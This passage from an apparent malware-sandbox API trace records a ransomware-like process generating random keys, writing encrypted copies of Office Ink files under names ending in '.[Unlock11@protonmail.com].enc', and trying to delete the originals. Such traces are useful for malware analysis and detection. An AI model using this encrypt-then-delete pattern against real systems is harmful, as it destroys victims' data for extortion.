shared\\ink\\ipsplk.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.281] GetFileType (hFile=0x3ac) returned 0x1 [0121.281] GetLastError () returned 0x0 [0121.281] GetCurrentThreadId () returned 0x9b0 [0121.281] GetLastError () returned 0x0 [0121.281] GetFileType (hFile=0x3ac) returned 0x1 [0121.281] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.282] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.282] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.282] GetLastError () returned 0x0 [0121.282] GetCurrentThreadId () returned 0x9b0 [0121.282] GetLastError () returned 0x0 [0121.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.283] GetLastError () returned 0x0 [0121.283] GetLastError () returned 0x0 [0121.283] GetCurrentThreadId () returned 0x9b0 [0121.283] GetLastError () returned 0x0 [0121.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.283] GetLastError () returned 0x0 [0121.283] GetLastError () returned 0x0 [0121.283] GetCurrentThreadId () returned 0x9b0 [0121.283] GetLastError () returned 0x0 [0121.283] GetLastError () returned 0x0 [0121.285] GetLastError () returned 0x0 [0121.285] GetCurrentThreadId () returned 0x9b0 [0121.285] GetLastError () returned 0x0 [0121.285] GetCurrentThreadId () returned 0x9b0 [0121.285] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa45) returned 0x36f8548 [0121.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0121.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa48) returned 0x382cb08 [0121.286] GetLastError () returned 0x0 [0121.286] GetLastError () returned 0x0 [0121.286] GetLastError () returned 0x0 [0121.286] GetLastError () returned 0x0 [0121.286] GetCurrentThreadId () returned 0x9b0 [0121.286] GetLastError () returned 0x0 [0121.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0121.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0121.286] GetLastError () returned 0x0 [0121.286] GetLastError () returned 0x0 [0121.287] GetCurrentThreadId () returned 0x9b0 [0121.287] GetLastError () returned 0x0 [0121.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3889a18 | out: hHeap=0x2ad0000) returned 1 [0121.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f98 [0121.287] GetLastError () returned 0x0 [0121.287] GetLastError () returned 0x0 [0121.287] GetCurrentThreadId () returned 0x9b0 [0121.287] GetLastError () returned 0x0 [0121.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f98 | out: hHeap=0x2ad0000) returned 1 [0121.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.287] GetLastError () returned 0x0 [0121.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.289] CloseHandle (hObject=0x3ac) returned 1 [0121.289] GetLastError () returned 0x0 [0121.289] GetCurrentThreadId () returned 0x9b0 [0121.289] GetLastError () returned 0x0 [0121.289] GetCurrentThreadId () returned 0x9b0 [0121.289] GetLastError () returned 0x0 [0121.289] CloseHandle (hObject=0x39c) returned 1 [0121.289] GetLastError () returned 0x0 [0121.289] GetCurrentThreadId () returned 0x9b0 [0121.290] GetLastError () returned 0x0 [0121.290] GetLastError () returned 0x0 [0121.290] GetLastError () returned 0x0 [0121.290] GetLastError () returned 0x0 [0121.290] GetLastError () returned 0x0 [0121.290] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0 [0121.290] GetLastError () returned 0x5 [0121.290] GetCurrentThreadId () returned 0x9b0 [0121.290] GetLastError () returned 0x5 [0121.290] GetLastError () returned 0x5 [0121.291] GetLastError () returned 0x5 [0121.291] GetLastError () returned 0x5 [0121.291] LocalFree (hMem=0x1053ad0) returned 0x0 [0121.291] GetLastError () returned 0x5 [0121.291] GetLastError () returned 0x5 [0121.291] GetLastError () returned 0x5 [0121.291] GetLastError () returned 0x5 [0121.291] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll", lpFilePart=0x9bada4*="IpsPlugin.dll") returned 0x40 [0121.291] GetCurrentThreadId () returned 0x9b0 [0121.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0121.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0121.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.292] GetCurrentThreadId () returned 0x9b0 [0121.292] GetLastError () returned 0x5 [0121.292] GetLastError () returned 0x5 [0121.292] GetLastError () returned 0x5 [0121.292] GetLastError () returned 0x5 [0121.292] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", lpFilePart=0x9bada4*="ipsptb.xml") returned 0x3d [0121.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0121.293] GetCurrentThreadId () returned 0x9b0 [0121.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea160 [0121.293] GetLastError () returned 0x0 [0121.293] GetLastError () returned 0x0 [0121.293] GetLastError () returned 0x0 [0121.293] GetLastError () returned 0x0 [0121.293] GetCurrentThreadId () returned 0x9b0 [0121.293] GetLastError () returned 0x0 [0121.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea160 | out: hHeap=0x2ad0000) returned 1 [0121.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea228 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.294] GetCurrentThreadId () returned 0x9b0 [0121.294] GetLastError () returned 0x0 [0121.294] GetCurrentThreadId () returned 0x9b0 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.294] GetLastError () returned 0x0 [0121.295] GetCurrentThreadId () returned 0x9b0 [0121.295] GetLastError () returned 0x0 [0121.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea228 | out: hHeap=0x2ad0000) returned 1 [0121.295] GetLastError () returned 0x0 [0121.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0121.295] GetLastError () returned 0x0 [0121.295] GetLastError () returned 0x0 [0121.295] GetLastError () returned 0x0 [0121.295] GetCurrentThreadId () returned 0x9b0 [0121.295] GetLastError () returned 0x0 [0121.295] GetLastError () returned 0x0 [0121.296] GetLastError () returned 0x0 [0121.296] GetLastError () returned 0x0 [0121.296] GetLastError () returned 0x0 [0121.296] GetCurrentThreadId () returned 0x9b0 [0121.296] GetLastError () returned 0x0 [0121.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0121.296] GetLastError () returned 0x0 [0121.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0121.296] GetLastError () returned 0x0 [0121.296] GetLastError () returned 0x0 [0121.296] GetLastError () returned 0x0 [0121.297] GetCurrentThreadId () returned 0x9b0 [0121.297] GetLastError () returned 0x0 [0121.297] GetCurrentThreadId () returned 0x9b0 [0121.297] GetLastError () returned 0x0 [0121.297] GetLastError () returned 0x0 [0121.297] GetLastError () returned 0x0 [0121.297] GetLastError () returned 0x0 [0121.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.297] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6)) returned 1 [0121.297] GetLastError () returned 0x0 [0121.297] GetCurrentThreadId () returned 0x9b0 [0121.298] GetLastError () returned 0x0 [0121.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0121.298] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0121.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0121.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0121.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0121.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.298] GetCurrentThreadId () returned 0x9b0 [0121.298] GetLastError () returned 0x0 [0121.298] GetLastError () returned 0x0 [0121.298] GetLastError () returned 0x0 [0121.298] GetLastError () returned 0x0 [0121.299] GetCurrentThreadId () returned 0x9b0 [0121.299] GetLastError () returned 0x0 [0121.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea430 [0121.299] GetLastError () returned 0x0 [0121.299] GetLastError () returned 0x0 [0121.299] GetLastError () returned 0x0 [0121.299] GetLastError () returned 0x0 [0121.299] GetCurrentThreadId () returned 0x9b0 [0121.299] GetLastError () returned 0x0 [0121.299] GetCurrentThreadId () returned 0x9b0 [0121.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea430 | out: hHeap=0x2ad0000) returned 1 [0121.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0121.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0121.300] GetLastError () returned 0x0 [0121.300] GetLastError () returned 0x0 [0121.300] GetLastError () returned 0x0 [0121.300] GetLastError () returned 0x0 [0121.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0121.300] GetLastError () returned 0x0 [0121.300] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.301] GetFileType (hFile=0x39c) returned 0x1 [0121.301] GetLastError () returned 0x0 [0121.301] GetCurrentThreadId () returned 0x9b0 [0121.301] GetLastError () returned 0x0 [0121.301] GetFileType (hFile=0x39c) returned 0x1 [0121.301] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.302] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.302] GetLastError () returned 0x0 [0121.302] GetCurrentThreadId () returned 0x9b0 [0121.302] GetLastError () returned 0x0 [0121.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.302] GetLastError () returned 0x0 [0121.302] GetLastError () returned 0x0 [0121.302] GetLastError () returned 0x0 [0121.302] GetLastError () returned 0x0 [0121.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de608 [0121.302] GetLastError () returned 0x0 [0121.303] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.303] GetFileType (hFile=0x3ac) returned 0x1 [0121.303] GetLastError () returned 0x0 [0121.303] GetCurrentThreadId () returned 0x9b0 [0121.303] GetLastError () returned 0x0 [0121.303] GetFileType (hFile=0x3ac) returned 0x1 [0121.303] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.303] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.303] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.304] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.304] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.304] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.304] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.304] GetLastError () returned 0x0 [0121.304] GetCurrentThreadId () returned 0x9b0 [0121.304] GetLastError () returned 0x0 [0121.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0121.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.305] GetLastError () returned 0x0 [0121.305] GetLastError () returned 0x0 [0121.305] GetCurrentThreadId () returned 0x9b0 [0121.305] GetLastError () returned 0x0 [0121.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.305] GetLastError () returned 0x0 [0121.305] GetLastError () returned 0x0 [0121.305] GetCurrentThreadId () returned 0x9b0 [0121.306] GetLastError () returned 0x0 [0121.306] GetLastError () returned 0x0 [0121.307] GetLastError () returned 0x0 [0121.307] GetCurrentThreadId () returned 0x9b0 [0121.307] GetLastError () returned 0x0 [0121.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8e8) returned 0x33ea820 [0121.308] GetCurrentThreadId () returned 0x9b0 [0121.308] GetLastError () returned 0x0 [0121.308] GetLastError () returned 0x0 [0121.308] GetLastError () returned 0x0 [0121.308] GetLastError () returned 0x0 [0121.308] GetCurrentThreadId () returned 0x9b0 [0121.308] GetLastError () returned 0x0 [0121.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea820 | out: hHeap=0x2ad0000) returned 1 [0121.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.309] GetLastError () returned 0x0 [0121.309] GetLastError () returned 0x0 [0121.309] GetCurrentThreadId () returned 0x9b0 [0121.309] GetLastError () returned 0x0 [0121.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d0798 | out: hHeap=0x2ad0000) returned 1 [0121.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8e38 [0121.309] GetLastError () returned 0x0 [0121.309] GetLastError () returned 0x0 [0121.309] GetCurrentThreadId () returned 0x9b0 [0121.310] GetLastError () returned 0x0 [0121.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8e38 | out: hHeap=0x2ad0000) returned 1 [0121.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.310] GetLastError () returned 0x0 [0121.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.311] CloseHandle (hObject=0x3ac) returned 1 [0121.311] GetLastError () returned 0x0 [0121.311] GetCurrentThreadId () returned 0x9b0 [0121.311] GetLastError () returned 0x0 [0121.311] GetLastError () returned 0x0 [0121.311] CloseHandle (hObject=0x39c) returned 1 [0121.312] GetLastError () returned 0x0 [0121.312] GetCurrentThreadId () returned 0x9b0 [0121.312] GetLastError () returned 0x0 [0121.312] GetLastError () returned 0x0 [0121.312] GetLastError () returned 0x0 [0121.312] GetLastError () returned 0x0 [0121.312] GetLastError () returned 0x0 [0121.312] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0 [0121.312] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] LocalFree (hMem=0x1053a70) returned 0x0 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.313] GetLastError () returned 0x5 [0121.314] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", lpFilePart=0x9bada4*="ipsptg.xml") returned 0x3d [0121.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.314] GetLastError () returned 0x0 [0121.314] GetLastError () returned 0x0 [0121.314] GetLastError () returned 0x0 [0121.314] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea160 [0121.315] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.315] GetLastError () returned 0x0 [0121.316] GetLastError () returned 0x0 [0121.316] GetLastError () returned 0x0 [0121.316] GetLastError () returned 0x0 [0121.316] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1 [0121.316] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0121.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0121.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0121.317] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.317] GetFileType (hFile=0x39c) returned 0x1 [0121.317] GetFileType (hFile=0x39c) returned 0x1 [0121.317] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.317] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.317] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.317] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.317] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.317] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.317] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.318] GetCurrentThreadId () returned 0x9b0 [0121.318] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.318] GetFileType (hFile=0x3ac) returned 0x1 [0121.318] GetCurrentThreadId () returned 0x9b0 [0121.318] GetFileType (hFile=0x3ac) returned 0x1 [0121.318] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.318] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.318] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.319] GetCurrentThreadId () returned 0x9b0 [0121.319] GetCurrentThreadId () returned 0x9b0 [0121.319] GetCurrentThreadId () returned 0x9b0 [0121.321] GetCurrentThreadId () returned 